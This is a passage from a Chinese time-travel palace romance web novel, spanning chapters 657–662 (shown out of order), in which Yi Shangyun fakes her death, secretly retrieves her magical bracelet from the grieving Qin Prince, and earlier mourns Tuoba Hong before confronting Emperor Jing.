“太好了,终于有王妃娘娘的消息了……” 一边的张嬷嬷亦是瞬间笑逐言开,与纯太妃对视在一起。 这些日子以来,终于看到纯太妃阴暗的脸转而喜上眉梢。 欢儿却更加不知自己该如何继续说下去,将事实真相告诉她们。 就在欢儿尚还在犹豫的时候,纯太妃却迫不及待地决定要拉着张嬷嬷出门:“不行,哀家要去看看,哀家要亲自去看看,张嬷嬷,你陪哀家去承华殿。” 说着,便就迈起了步来。 张嬷嬷一边跟随,一边关切地道:“哎呦,雨天路滑,太妃娘娘,您可千万仔细着点儿脚下,慢点啊!” 纯太妃实在是高兴极了,道:“不碍事,不碍事,哀家这会儿是真的很高兴!哀家曾允诺过皇儿,待他将王妃从觻县带回来,哀家便要亲自将这王府女主人的位置传予她,这一刻,哀家终于等到了!” 欢儿见状,直瞪着一双圆溜溜的大眼睛望着俩人离去的背影。 嘴巴一张一合,不知所措地想要阻拦,却又不知该如何拦住她们。 过了会儿,待欢儿回过神来,终于,还是一边叫着,一边追了上去。 “不……不可以……太妃娘娘……您不能去,不能去大殿……” 而此时的承华殿,衣上坤早已离去。 只有轩辕翰万念俱灰,强忍着心中莫大的悲痛,落寞孤寂地坐在偌大的殿里,一动不动的凝视着手中的那只七彩金丝彩玉镯子。 一边立着的副将程良,始终都不知该如何安慰这个主子一二。 可就在衣上坤踏入秦王府来的前一秒,轩辕翰甚至还深信不疑地召着急进宫去,想要证实衣上云就是昨夜在宫里偶遇的那位药女。 只不过一瞬间,没想到衣上坤便带来了如此巨大的噩耗。 “这不是真的” “不可能” “她不会就这么抛下本王……” “她怎么会……” “她怎么敢……” 不知过了多久,偌大寂静的殿内,忽然再次回响起轩辕翰难以接受这个消息的声音。 而程良又怎愿意相信,可那个镯子,的确是衣上云从不离身的贴身之物:“可这镯子……” 就在俩人说话间,纯太妃与张嬷嬷一同走进了大殿来。 纯太妃朝四周看了看,见只有轩辕翰主仆俩人的大殿,疑惑地问:“衣上坤呢?不是说衣上坤来王府了吗?他不是找到云儿了吗?” 说着,目光又再次朝周围扫了几圈,连连问沉默不语的轩辕翰。 “云儿呢?” “你的王妃呢?” “你怎么不说话?” 似是发现了有些什么不对劲,便又看了看程良的方向,继续问。 “你们怎么都不说话?” “发生了什么事?” 轩辕翰舒了口气,终于开了口。 “母妃,云儿她……” 纯太妃预感极不好:“云儿怎么了?” 轩辕翰想了想,咬了咬牙,心一横,道:“她回不来了?” “回不来了?” 纯太妃重复了一遍,似懂又非懂这话的含义。 她不愿相信地再次朝其确认:“云儿回不来了是什么意思?” 这时,轩辕翰将自己手里的那只七彩金丝彩玉镯子递到了纯太妃的面前。 隐忍着心痛说:“觻县的沙暴退去后,有个商人途径沙漠时发现了云儿。这是云儿弥留之际,交由那个商人带回衣府给衣上坤的,云儿她已经……” 轩辕翰想都不忍心去想,衣上云那个时候该有多么的绝望与无助。 闻此,纯太妃看着轩辕翰手中攥着的那只熟悉的镯子,亦是不敢相信地低声说:“你是说……云儿她……” 话虽刚开口,蔓延的思绪却已很远很远。 顿时,纯太妃只觉一阵眩晕感袭向自己的头部,顷刻间,她便再也站立不住,身子直重重地倾倒了下去。 轩辕翰发现,紧忙伸手将其扶住,在其耳畔呼唤她:“母妃……母妃……” 张嬷嬷与程良亦着急地呼唤其:“太妃娘娘!” 然很快,纯太妃便彻底闭上了眼睛,失去意识。 第六百六十一章:暴雨夜街角相撞 黑云压城,不断地翻滚着。 眼看着这场暴雨愈演愈烈。 伴随着夜空中轰隆隆的雷声乍开,道道闪电将黑夜瞬间变成了白昼,似是势在必得欲要先将这头顶的苍穹撕个粉碎。 满世界的大雨倾盆,依旧肆意无情地下着。 百姓们俱都恐慌极了,面对这场天灾的突然降临,束手无策地躲在自己的方寸之内,瑟瑟发抖着。 却是什么都做不了,只能默默地祈求上苍垂怜,能让这场灾难赶快过去。 昔日里不尽繁华的皇城街道上,已是到处积水严重。 怕是再过不了几个时辰,街边林立着的铺面便就要漫进水去,被淹了。 在这尽管如此恶劣的天气,耳畔边,居然夹杂着巨大的风声雨声,以及雷电交加的声音,响起了一阵嗒嗒,嗒嗒紧急的马蹄声来。 很快,在街道的一处拐角上,同时现出了一辆马车,和一个骑马扬鞭埋头赶路的黑衣男子。 他们一定是各自都有着尤为紧急的事情,所以才会选择即使在这样的天气里,依旧还要出门。 只见由于彼此的速度均过于太快,加之今日夜里更为厚重的雨帘,严重遮挡了他们的视线,以至于俱都丝毫来不及避让,便就这样实实地撞了上去。 伴随着马儿俱都同样发出一阵颇为受惊的嘶叫声,忽闻“哐当……”一声,那辆马车亦瞬间撞到了一旁河岸边的护栏上。 这时,从马车里缓缓走下来一位身着一袭白色纱裙,脸上亦遮着一条白色面纱,一只纤纤玉手,撑起一把油纸伞的女子。 她扶了扶自己被晃荡,又撞的昏昏沉沉的脑袋。 一下车,便径直朝着摔倒在地上,身披着一件蓑衣的老车夫。 蹲身下去一边替其查看,一边紧张关切地问:“老伯你怎么样?有没有哪里受伤,您还好吗?” 那车夫摇了摇头,道:“只是擦破了点皮,没事!我这一辈子风里来,雨里去的,皮糙肉厚,姑娘不用担心。” 紧接着,面露颇为抱歉之色地说:“倒是让姑娘受惊了!我就说这天气姑娘不该着急赶路,您瞧这才刚出门,便就跟人撞上了!” 女子却回头看了看自己放在车座上的一个黑色包袱,遂脸色忧郁地道:“对不起,真是为难您了!可这件事,我是真的很着急,一刻也等不下去!” “只是从皇城到草原且先不说路途遥远,这一路上到处皆是艰难险阻,可谓是一重又一重,岂非常人所能承受得了的!姑娘你一个人,怕是要遭大罪的!况且……” 老车夫说着,低下眼睛看了眼女子的腹部,弱弱地问:“况且姑娘你的身子……” 女子这才意识到自己的身孕竟被人已经察觉,遂赶紧一把过去拉扯了一下衣裙,意志却是坚定极了地说:“放心,我可以的!” 不知道眼前这女子究竟都经历了些什么。 只是从面相上看,尽管遮着面纱,亦难以掩饰其清新脱俗,气质不凡,一看便知非小门小户人家的女子。 可就算是寻常人家的新妇,若是一旦发现有了身孕,那全家俱都拿其当珍宝一样护着。 可眼前的她,身边竟无一人相伴。 眼下这般的天气,竟然还要独自去那样危险的地方。 越想越觉得不解,于是,他再仔细端详了会儿她今日的打扮,一身素衣裙,那黑色的包袱里,莫非是…… 一念至此,老车夫忽然被自己的猜想惊到,遂开口问:“姑娘的夫君,莫非已经……” “夫君?”追随着老车夫的目光看去,衣上云一意识到他所说话里的意思,便着急地解释:“老伯您误会了,我本孑然一身,并无夫君,那并不是……” 闻此,老车夫最后只能亦无奈地轻叹了口气,不再说什么。 毕竟,这世上的男男女女,形形色色,亦不是他一个粗人所能理解猜透的。 看到车夫并无大碍,在替其简单进行了一番包扎后,女子便起身过去,查看另一头倒在地上的黑衣男子。 可那人,却似是就并没有他二人这般幸运。 整个人一动不动地倒在雨水里,似是昏了过去。 在老车夫的帮助下,衣上云替其仔细地把了把脉,说:“披星戴月,风雨兼程,他这是长时间赶路的疲劳过度所致的昏迷。” 遂赶紧掏出身上的银针袋来,替其施了针后,那黑衣男子方才缓缓睁开了眼睛。 第一时间朝其致歉:“姑娘你们没事吧,对不起,方才都是因为我一时心急,没看清楚你们的马车从拐角里出来,这才惊了你们的马车!” 衣上云摇了摇头,道:“你不必向我们致歉,我知道,方才若不是你及时勒马停下,怕是我们就不仅仅只是撞到了护栏上如此简单了,只怕连人带车早已落水,而你,也不会落马跌下重伤!” 黑衣男子见眼前这俩人总算是未因自己而受伤,便紧忙从身上掏出一封火漆密函竹筒。 对衣上云颇为郑重地说:“劳烦姑娘帮我去一趟秦王府,将这封信亲手交给秦王殿下!” “秦王府……” 闻此,衣上云似是便明白了过来:“原来这是秦王轩辕翰的人。” 遂心下里一想,去秦王府,万一自己被秦王府的人认出来该怎么办? 想想时间,衣上坤也已经应该按照计划,将她去世的消息通知秦王府了。 加之生性多疑的璟帝,虽然表面上看似完全给了她半年的自由。 可背地里,一定加派了不少人在监视自己。 她当然不能将自己的苦心计划,全部都付诸流水。 这可是亦包含了拓跋宏的牺牲在里面。 于是便开口拒绝黑衣男子说:“不是我不想帮你,只是秦王府在城东,可我却是要往西北方向而去!不如,你跟我上车,我先送你去秦王府,如何?” 黑衣男子虚弱地扭头看了一眼不远处,那马车狭小的空间。 说:“姑娘,你这马车根本就容不下我二人。这么大的雨,我们亦不可能再找到其他车子,这件事真的很重要,拜托姑娘一定要帮我!” 衣上云就是这样的人,面对别人所求,总是不忍心拒绝。 于是在内心挣扎了好一阵之后,终于还是答应了他:“好吧,我便替你跑这一趟!可我,需要一套男装才行。” 黑衣男子虽然不知道衣上云为何要这样做,却告诉了她:“我的包袱里,尚还有一套未穿过的新衣,姑娘若是不嫌弃……” “可以可以,都可以,只要是男装都行。” 衣上云说着,没有一丝犹豫,便急忙起身过去一把卸下了马背上的那件包袱,转而踱步回到马车上去将其换上。 转眼很快。 衣上云便一袭黑衣劲装,来到了秦王府的门前。 此时,王府里里外外到处都已经挂起了高高的白帐。 衣上云立在门外,喃喃低语道:“看来父亲已然成功地将消息带到了王府,秦王也相信了这个事实。如此一来,衣府与秦王府从此应该不会再受到我的牵连了!” 就在这时,她忽然听到进进出出王府的人群里,有人在悄悄议论。 “今夜这雨,如果再下下去,怕是整个皇城都要被淹了。” “难道真是天要亡我西秦了吗?” “自从守护者被弄丢后,西秦国便一直就多灾多难着,如今竟就连皇城都快要保不住了。” “看来真如传闻所言,只有守护者与我朝真命天子在一起,心意相通,同心携手,方才能保我西秦国风调雨顺,国泰民安啊!” …… 就在她停留在门口一脸忧郁,不知思量着些什么,徘徊不前时。 忽然从里面走出来一名王府侍卫,立在台阶上朝他催促道:“你一个人站在外面做什么,还不赶快进去帮忙?” “我……”衣上云顿指着自己的鼻子,迟疑了一下,就这样,便被人带进了王府。 看到周围人来人往,衣上云这才意识到那黑衣男子给自己的这套所谓的新衣,竟然就是秦王府府内的侍卫衣装,如此的确竟连腰牌也免了。 跟随着那侍卫的脚步,衣上云对照着自己记忆里熟悉的地方,心里默默地道:“这便就是记忆里秦王府的模样了?!我竟然再次回到了这里……” 走着走着,那侍卫缓缓停下脚步,脸色沉重地对衣上云交待说:“你就去林月轩帮忙吧!” “不……你误会了,其实我并不是……” 衣上云正想对其解释一下,岂料那侍卫接下来的话,却将她嘴里的话直接给挡了回去。 “王妃的离世,对殿下刺激颇深,一定要在身边悉心侍奉!” 说完,那侍卫便一溜儿烟似的匆匆离去。 “可我话还没说完呢……”最后,衣上云只能虽然不情愿,却又无可奈何地嘴里一边嘟囔着,一边往林月轩里去。 可不知道为什么,衣上云竟鬼使神差地凭藉着自己的记忆来到了云水阁。 一抬起头,竟然在窗外看到了一个熟悉的身影。 “那是……魏明轩?” “不……他不是魏明轩。” “他是……秦王……轩辕翰……” 再凑近一点仔细一看,对照如今双世的记忆,不禁令她更为吃惊:“看那轮廓线条,竟跟魏明轩的样貌一模一样!” 只见轩辕翰正对着手里捏着的不知是个什么东西似是在回忆着些什么。 貌似还一边借酒浇愁,一边自言自语着。 “记忆中,轩辕翰可是从不酗酒的,莫非这难道是因为……” 此情此景,衣上云竟感觉自己莫名的有些心痛。 然终究还是强忍着心里的那份抗拒,不想深究的情愫,告诫自己:“我这是在想什么?我的心里只有魏明轩,不可能再有其他任何人!” 就在这时,她忽然看清了轩辕翰手中捏着的那个东西,顿瞪大了双眼…… 第六百六十二章:紫雾化雨 衣上云忽然看清了轩辕翰手中捏着的东西,顿朝其瞪大了双眼,惊诧极了地道:“那是……我的镯子!” “当时是为了这场丧礼,实属情非得已。可这只镯子非比寻常,我必须想办法将它拿回来才行。” 再一想方才那侍卫对自己所说的话,于是便开始思量着。 “如今王府已经到处悬挂起挽幛,看来秦王已然对我的死深信不疑。如此一来,我若神不知鬼不觉地将这镯子拿走,又有何妨?应该不会被怀疑吧?” 一念至此,她便马上开始在心中默默盘算了起来,准备在外面寻找机会。 殿内。 轩辕翰再次提壶斟满,灌下一盏酒。 心中甚是懊恼不已,用力狠狠地握紧手中的酒盏说:“衣上云,没有本王的允许,你怎么敢死!怎么敢!” 他不愿相信这一切会是真的,可手里的这只镯子,却又如此真真切切地让他不得不信。 往事一幕幕,仿佛那般清晰地就发生在昨日一般,转眼,他们却已是阴阳相隔。 遂满腹悲愤,忧郁至极地自言自语:“原本本王的计划里,根本就不曾有你。可你却就那样偏偏自己闯入到本王的世界。既已招惹了本王,又为何如此绝情的离开,让本王一人承受这蚀骨之痛?” 黑夜里,烛火惺忪。 伴随着无边思绪无限蔓延,仿佛就要如此沉沦下去。 似乎在这场灾难来临,他自己就先要被这失去至爱的痛楚所吞噬。 于是越想越绝望:“余生,如果没有了你,本王还怎么活下去?” 殿内所发生的这一切,被正守在殿外的衣上云全部看在了眼里。 她不禁痴迷,又惊诧地低声喃喃说:“没想到,传闻中赫赫有名,每每令敌军闻风丧胆的灵空战神,西秦国不近女色的冷面禁欲系王爷,竟也会如此痴情。” 霎时间,心中忽然升起一种莫名的情绪:“能被这样的男人如此喜欢着,也是一件很幸福的事吧!” 却又瞬间清醒,被压了下去:“衣上云,你这是在想什么呢?不可以,他是秦王,并不是魏明轩,绝对不能有这种想法。看来,我必须得尽快找到办法,回到21世纪去才行。” 醒过神来,见轩辕翰始终都坐在那里一动不动。 很明显,还将那镯子越来越紧地攥在手心里,仿佛什么世间绝世异宝一般,丝毫没有打算松开的意思。 衣上云不禁着急地一边挠着脑袋,一边在门口来回踱起步来,暗自琢磨着:“到底如何才能将镯子拿回来呢?” 就在这时,门口忽然传来一阵紧急的脚步声。 待那人走近一看,衣上云方才发现来人原是轩辕翰的副将程良。 害怕被其认出,于是赶忙恭敬地立好在门边,垂首下去朝其拱手行礼。 果然,程良路过时并未注意到她。 只见程良径直走进了殿去,一看到正在酗酒的轩辕翰,不禁眉头皱了一下:“殿下可是从不酗酒的?” 继而转身怒斥向门外的衣上云:“你在这里都是怎么伺候的?” 衣上云心里顿惊了一下:“我……我可还连殿门都没进呢?” 正打算回应,轩辕翰竟先开了口:“莫要怪他,是本王自己。” 程良又怎会不知这个主人心里的情绪实在无处发泄,于是转而禀报说:“殿下,眼下城内外皆受到这场暴雨的袭击,将士们都已经准备待命,我们也该马上启程了。太妃娘娘刚醒过来,临行前,殿下再去紫和轩看看吧!” “嗯!”心里似是有些不舍,然轩辕翰终还是答应着站起身来,与程良一道走出了云水阁的门。 待到二人离去。 衣上云回头朝殿内随意一扫,竟见方才被轩辕翰紧紧攥在手心的那只镯子,居然奇迹般地出现在方才他所落座的面前案几上。 “我的镯子!” “真是天助我也!” 衣上云简直欣喜若狂,差点儿惊叫出声来。 赶忙放眼过去朝四周扫了一圈,看到并无旁人。 但还是谨慎的以防万一有人闯入,自己被发现。 于是便从身上摸出一条黑色面巾来,遮住了自己的脸,继而蹑手蹑脚地进入了大殿去。 轩辕翰刚一出门,似是忽然发现了有些什么不对劲,便顿足停下在自己身上摸了起来。 程良看到,问:“殿下在找什么?” 终于,寻而无果。 他确定是自己方才出门前,一走神,的确将镯子不慎顺手便放在案几上了。 “本王有东西落在云水阁了,你先去备马,本王马上就来。”于是便紧忙调头回去拿。 云水阁里。 “没想到最后你回来的竟如此容易!”衣上云满脸欣喜地注视着复又回到自己手中的七彩金丝彩玉镯子。 就在连她自己也为此而感到无比惊诧时,刚出门走到院子,忽然迎面传出一阵威严的声音道:“什么人在那里?” 借着院子里烛火的照耀,衣上云缓缓将来人看清,遂惊道:“糟了,他怎么又回来了?” 说着,下意识地便想撒腿就跑。 却又忽然想起来,还未将黑衣男子托付给自己的火漆密函竹筒交给轩辕翰。 于是便急忙将镯子套在自己手腕上,埋藏在袖子下面。 加快脚步上前去将身上的火漆密函竹筒交到了轩辕翰的面前:“启禀殿下,这是刚刚送来的密函,请殿下过目!” 轩辕翰看了看她手里高举着的那支火漆密函竹筒,又注视了她一会儿,问:“在王府里,为何要遮面?” “属下……” “属下……” “属下乃是因为近期脸上突然生了疮,怕冲撞到别人,故而遮面。” 衣上云说着,直觉自己的心怦怦跳个不停,像是下一秒便就会露馅一般,吞吞吐吐地回答。 轩辕翰一边继续看着她的眼睛,一边伸手过去将密函接过。 这时,衣上云着急地说了一句:“那……属下退下了!” 可就在转身离开的瞬间,因为夜里光线不好,加之心里又紧张的要命。 她的脚下忽然一个踩空,眼看着就要从脚下的石阶上实实地倒身下去,跌在身旁的荷花池里。 且随之发出一阵惊叫声:“啊!” 黑夜里,忽然出现了一双强而有力的大手,轩辕翰紧忙飞身过去一把将其拦腰扶住,在原地里转了一个完美的圆圈后立定。 俩个人,就这样瞬间紧紧贴在了一起。 刹那间,他们四目相对,紧紧注视着彼此的眼睛,仿佛一眼穿透了千年,万年。 而亦是此时,奇迹竟然发生了。 当俩人再次相遇,发生身体触碰时,衣上云紧紧环抱着轩辕翰的腰身。 从其藏在袖子下的那只七彩金丝彩玉镯子里,忽然闪闪烁烁,缓缓抽出丝丝缕缕的紫色烟雾来,那烟雾似是源源不断,徐徐蔓延,缓缓飘向院子里,与那纷纷落下的磅礴大雨紧紧纠缠在一起。 没过一会儿,漫天的滂沱大雨竟忽戛然而止。 是的,雨停了。 这场眼看着愈演愈烈,即将淹没整个西秦的狂风暴雨,终于停下来了! 不知过了多久,轩辕翰亦终于发现雨停了,遂稍稍挪开眼去看了看头顶的夜空。 就在他为此而分神之际,衣上云一把将他推开,拔腿便夺门溜了出去。 这时,轩辕翰疑惑极了:“他到底是什么人?” 一时之间,似是也想不明白,他便先打算继续回到云水阁里去拿镯子。 可回到云水阁里,看到案上并没有镯子的影子,轩辕翰瞬间震惊极了。 他赶忙在周围找了一遍又一遍,仔细再仔细,可最后显然都是无用的。 “怎么会不在这里?” “本王只不过转了个身,刚才本王明明就放在这儿的。” “这可是云儿生前最为珍视的东西。” 说着说着,他忽然想起来刚才那个神秘的身影,遂握紧拳头,咬了咬牙,狠狠地说:“该死,难道是他?” 说着,便急忙追了出去。 而此刻,已然被刚才的一切,差点暴露了自己而吓得惊慌失措,四处逃窜的衣上云。 刚一跑出云水阁,脸上宽大的男人面巾便忽地滑落了下来。 她赶忙伸手扶住,再次将其遮好。 可尽管几乎看起来一气呵成的动作已是最快,却还是被一个迎面而来的小女孩看到了她的脸。 那不知何时忽然出现在云水阁门外的小女孩,扎着两个如同畸角般的发髻,此时正瞪着一对圆溜溜如葡萄般的大眼睛。 对着一袭男装的衣上云竟然高扬声来大喊了一声:“云娘娘……” 衣上云惊谔地顿足停下,问那小女孩儿:“你是谁?你在叫谁……云娘娘?” 小女孩发出清脆如铃铛般的声音响起:“云娘娘你怎么了,你难道不记得灵儿了么?” “灵儿?”衣上云急急在脑海里搜索着,眼前的这个孩子到底是谁? 小女孩看似颇为高兴,竟忽然拔腿朝她冲了过来,继而一把将她的腿紧紧抱住。 天真无邪地说着:“云娘娘,他们都说你已经死了。可灵儿不相信,所以才要和爹爹娘亲一起来看一看,云娘娘你是仙女,仙女怎么可能会死呢?” “这到底是谁家的孩子?” 就在衣上云惧怕轩辕翰很快会发现自己拿走了手镯追来,又着急地想最后一次尝试记忆这个孩子时,忽然传来一阵阵呼唤声。 “灵儿” “灵儿” “灵儿你到底跑哪儿去了?” “快点儿出来!” “你要是再不出来的话,爹爹和娘亲便就要自己回去了。” 第六百五十七章:震耳欲聋的暴雨夜 “轰隆隆……” 夜空中骤乍起一阵巨响,穿透世间万物所有屏障,却依旧震耳欲聋。 紧接着,又惊现一道耀眼夺目的闪电,好似天公的雷霆之怒,要将这无边无尽的苍穹彻底撕裂一般。 西秦城南。 一处掩藏于市井深处的寂静院落里,烛火昏暗,满地落红。 屋内,散发出一阵微弱的亮光。 刚刚睡下不久只打了个盹的拓跋泽,忽然被传入耳畔的这阵滚滚雷声惊醒,坐起身来。 额头渗着豆大的汗水,就连身上的白色衣袍也已被汗水浸透,坐起时整个人尚还都在惊魂连连地叫。 “别走……” “不要走……” “不……” 直到看清楚现实中周围的一切,方才发现原来这一切只不过是自己的一场梦魇而已。 可冥冥之中,却又是那样的真实。遂缓缓回过神来,移动目光朝着窗外沸腾的雨夜望去。 “今夜这雨,怎的如此之大?仿佛这辈子都从未见过如此大的暴雨!” 似乎已是很难再次入睡,想到梅汐媛回母国也已经有段时日了。 对于自己煽动并欲借助东宁势力灭掉西秦的计划,至今都尚未传回关于她的一丁点儿消息,便更加没了睡意。 既然睡不着,索性便起身来到了窗前。 伸手推开一扇窗户,望向窗外天地间这深沉的夜雨。 听着院子里噼里啪啦的大雨拍击着地板所发出的声音,他的目光忽然变得很长很长。 骤然,心底一种莫名失落的情绪油然而生。 不禁想起方才的梦魇,梦里,儿时的拓跋宏天真无邪地笑着朝他不断地挥手。 他分不清,拓跋宏的那个挥手,到底是在召唤自己,还是在与自己道别。 可唯有那笑容,明明就是他们儿时在一起最无忧无虑的日子里,彼此之间最灿烂,纯粹又天真的笑。 如果不是在梦里再次见到,他似乎都已快要忘记,曾经有过一段时光,他们亦是很好的兄弟。 转眼,却又眉头紧锁着,低声喃喃自语,疑惑地说:“你到底想说什么?我怎会做这样的梦,该死!他该不会真的出什么事了吧?!” 一念至此,终究,他还是不放心,遂扬声唤来了门外的侍卫:“来人。” 很快,房门便被人从外面推了开来,侍卫上前来询问道:“殿下有什么吩咐?” 拓跋泽犹豫了一瞬,再次想了想,说:“去查一下二皇子近来的行踪,看他最近和什么人在一起,都在做什么?” 那侍卫听了猛抬起眼来,看向拓跋泽的后背,心中甚觉疑惑不解。 遂开口说:“二皇子?” “殿下您不是下令不准关注二皇子的任何事情,甚至曾经还说,就算有一日,二皇子即便死在大街上,横尸街头,也不必告诉您的吗?此刻,殿下这又是为何?” 话音刚落,便见拓跋泽倏地回过头来朝自己狠狠射来一个冷眼,于是吓的赶忙垂头下去乖乖领命:“遵命!属下这就去查。” 侍卫离去,拓跋泽方才再次收回视线转身,继续望向窗外那大雨滂沱之夜。 而心,却早已随着这场暴雨激起了涟漪。 自打拓跋宏的尸体被人强行抬走,自己又被锁在了这偌大的殿内。 衣上云不知自己已经声嘶力竭地呼喊和拍打了多久的殿门,声音哑了,手亦麻木没了知觉,却始终都没有得到一丝丝回应。 雷声轰鸣,闪电不断。 伴随着这阵阵响雷,道道闪电的巨大能量,无数记忆碎片冲击着衣上云的脑电波。 已是实在没了力气,再也无力承受,遂缓缓顺着门板下滑,跌坐在了地上。 接着,抗拒一切输入地捂紧了自己的耳朵,抬头将脸孔朝天用尽余下所有力气发出一阵怒吼声。 “不要死” “不要死” “不要” …… 自打从觻县被璟帝的人秘密带回西秦皇宫后,尽管身边周围许多人,都告知了衣上云他们所知道的关于她的过往。 然从别人的口中听到,衣上云心里依旧只觉得这一切如同故事一样。 直到这一刻,因为拓跋宏的离世,悲痛欲绝的她竟在这雨夜,意外地恢复了所有关于自己穿越到这个平行时空的前前后后,所有过往的记忆,只觉如梦初醒一般。 此刻,关于魏明轩,关于轩辕翰,关于这许多的人和事…… 这所有一切记忆,都是如此清晰又深刻。 如果悲伤与思念皆同样都有声音,这一刻,对她而言,无疑一定都是同样的震耳欲聋。 一夜的暴雨如注,直到翌日天亮,依旧没有丝毫要停下来的意思。 除了这雨,从未如此这般寂静无声过的长宁宫的宫门,方才被人再次打开。 伴随着“咣……”的一声响。 殿门被人打开后,踱步进来一名侍卫,手里捧着一个漆黑的木匣。 那侍卫进门,眼睛遂朝着四周扫了好几圈。 最后方才在殿内一漆黑的角落里,搜索到不知何时,紧抱起双膝,蜷缩成一团的衣上云的身影。 兀自走到其身旁,停下了脚步。 将手中的木匣子随意丢在了一旁的案上,趾高气昂地说:“皇上仁慈,尚且留了些许那北烈狗的骨灰给你。” 说着,满脸嫌弃极了地拍了拍自己的手,说:“臭死了,真是晦气!” 角落里,传出一阵嘶哑的质问声:“你们把他给烧了?” “哼……”那侍卫听了嘴角一抽,发出一阵阴冷的笑,道:“烧了他,而不是将其挫骨扬灰,已经算是便宜极了他……” 说着,忽然对上衣上云的脸,见其此刻眼里似是有千千万万支利剑正待出鞘一般,其气势竟令一旁立着的侍卫再也不敢多说一个字。 于是倒吸了口冷气,赶忙转身,一溜烟儿似的逃了出去。 衣上云呆呆地望着案上的那个木匣,她至今都不敢相信,无法接受,拓跋宏就这样永远地离开了自己。 瞬时,两行滚烫的泪水滑落脸庞。 这一夜,一直倚靠在角落,坐在冰冷的地板上的衣上云终于缓缓站了起来。 上前过去,小心翼翼地将木匣捧起。 回想起从与拓跋宏相遇开始,那个温润如玉,善良仁慈的男子。 至今所有过往,一点一滴,忽又再次失声痛哭了起来,嘴边发出不断的连连歉声。 “终究,我还是害死了你……” “对不起……” “对不起……” “对不起……” 许是太过悲伤,忽然双腿一个发软,衣上云再次瘫倒在地,就这样,捧着拓跋宏的骨灰盒,倚靠在案边。 不知过了多久,衣上云方才用手背抹去脸上的泪水。 眼睛一斜,看到了拓跋宏临死前最后喷在那盆粉色芍药上的一口鲜血。 衣上云方才明白了过来:“芍药,又名将离。原来你早就已经暗示过我了,都怪我,怪我没有早些领会。” “难道,这是你早就预谋好要赠予我的分离之花,你怎么可以这样,我说过,我一定会带你离开这里的,你为什么就是不信我,为什么不再等等我?为什么?” 然事到如今,她知道自己说什么都已无济于事,所有一切的语言显得都是那样的苍白无力,换不回任何。 似乎,自己也只能对他不断地说:“对不起……” 这是拓跋宏身前无数次对自己说,这辈子再也不要听她说的三个字,如今自己却也只能说这三个字了。 就在这时,忽然再次传来“嘎吱”一声。 又有人推门走了进来。 这场大雨,使得殿内的光线极其微弱。 闻声,衣上云将目光缓缓朝门口方向瞥了过去。 仔细一看,见原是张致远带着一名小药女走了进来。 一阵错觉,衣上云忽然惊喜地对那药女呼唤了一声:“丁香,是你吗?” 正当其欲起身,忽然看清了那女子的脸,并非自己心心念念想见的丁香,于是便收回笑容,再次回坐到了地上。 亦丝毫不想搭理张致远,便再次收回了视线到手中的木匣上。 张致远进门后,让随其一道前来送饭的婢女将饭食放下后,便令其出去在门外候着:“你出去候着吧,我与姑娘有些话要说!” “是!”小药女出门后,替两人将门轻轻掩上。 张致远立在原地,看着衣上云此时心灰意冷失落的模样,着实令人有些心疼。 于是定了定,遂迈步一边朝衣上云身边走过去,一边安慰她:“人死不能复生,还望王妃娘娘节哀顺便!其实,这一切都是二皇子……” 衣上云看都不想看他,只觉这个人令自己无比恶心。 于是话刚开口,衣上云便直接丢了一句冷冷的:“杀人凶手,你枉为一名医者,给我滚出去……” 张致远怎会不了解衣上云此刻的心情,这个时候,他知道自己的任何解释都是无用的。 或许,等再过两日,她自己想通了,再来告诉她实情吧。 一念至此,张致远轻叹了口气,无奈得转身欲要离开。 却在起步之间,又忽然传出一声:“等等……” 张致远顿步停了下来,再次回过头去。 衣上云对着手里的木匣,忽然说了句:“二皇子,不要怕,我带你回家!” 说完,遂缓缓立起身来,无视殿内一切,包括张致远本人,兀自走到其身旁停下,看都不看他,只冷冷地说了句:“带我去见璟帝。” 第六百五十八章:半年……够了 七月的雨,总是来的那般干脆。 这场罕见的暴雨,一洗整座皇城近来的燥热。 雨水冲刷着石阶古道,洗尽铅华,其每一次流动与凝固之间,无不都诉说着其岁月的沧桑。 一场雨,一座城,撑一把伞。 走在雨珠四溅的青石板路上,踏过道道宫门,跟随着张致远的脚步,衣上云脑海中,依旧在不断回忆起自己所开启的这场穿越千年的旅行。 而此刻。 璟帝坐在案前,忽地闭起眼来垂首下去,继而抬起一只手来,略显疲惫地捏了捏眉心。 他已在书房里冥思良久,却依然不甚理解地自言自语,始终在思考着同一个问题。 “经过上次想要逃离的教训,她明知道拓跋宏在我们手里,自己是逃不掉的。可为什么她还要再次尝试呢?既然已经失忆,那她还能去哪儿?” 一旁立着的太监听了,想了想说:“长宁宫的侍卫,其实早已发现了她乔装改扮出宫的蹊跷,便在暗处悄悄跟着,想要看她到底想去哪儿?有何目的?或许对于我们查询其身世有所帮助,可是……” 璟帝忽地将眼睛再次睁开,瞥向太监所在的方向,沉声地问:“可是什么?” 太监回忆着说:“可是……听说后来因为秦王殿下的出现,侍卫们怕被秦王发觉此事,便就……” 璟帝听了,倏地恨恨握紧一拳,咬牙切齿地说:“秦王……又是他!” 太监继续将余下的话说完:“幸好秦王相信了守护者的谎称,说自己只是御药房新进的药女,夜里在宫中迷了路。可当秦王离开后,侍卫再次去寻,守护者便就消失不见了……” 璟帝这才算是松了口气,转而又怀疑地说:“既已离开,却又折回,又并未出宫,你说,该不会……她是去见了宫里的什么人?” 璟帝越说越相信自己的判断:“一定是这样,她到底去见了谁?” 就在殿内俩人同时都陷入沉思之际,门外一侍卫脚步匆匆地走进来禀报。 “启禀皇上,张院判带着长宁宫的那位来求见!” 一切都在璟帝的预料之中,回过神来,太监授意朝侍卫命令道:“让她进来吧!” 很快,衣上云便只身一人来到了殿内。 却是并未朝高高在上的璟帝施礼,只强压着自己心头的悲痛与愤怒,恨恨质问他。 “你为什么要将他烧掉?你有什么资格这样做?” 身旁的太监瞪大了双眼,大声怒斥其:“大胆,见了皇上怎的不行礼?” 璟帝伸出一手,将其阻止。 继而抬头挺胸,素声冷冷的说:“这里是西秦国,你们现在身处西秦皇宫,你质问朕有什么资格?” 见其对自己的行为至今都毫无负罪感,衣上云心中至今已憋了许久的苦闷与愤怒油然升起,心无一丝惧怕,据理力争。 “不错,这里,的确是西秦。可他却并非西秦国子民,亦没有做错什么而触犯西秦的律例?如此,既非囚犯,也不是你的奴隶,你就没有资格这么做?” 说着,连带一旁的太监一起瞪了一眼。 紧接着一便训斥:“你们这些滥杀无辜,视生命如草芥,杀人不眨眼的刽子手,我是绝对不会原谅你们的!” “你竟敢如此肆无忌惮地在圣上面前口出狂言?你……你……你……” 一时间,太监被气的口痴都发作了,似要眼珠子亦快蹦出来了,用一根手指颤抖着指着衣上云的方向。 “你是不是吃了熊心豹子胆了……” 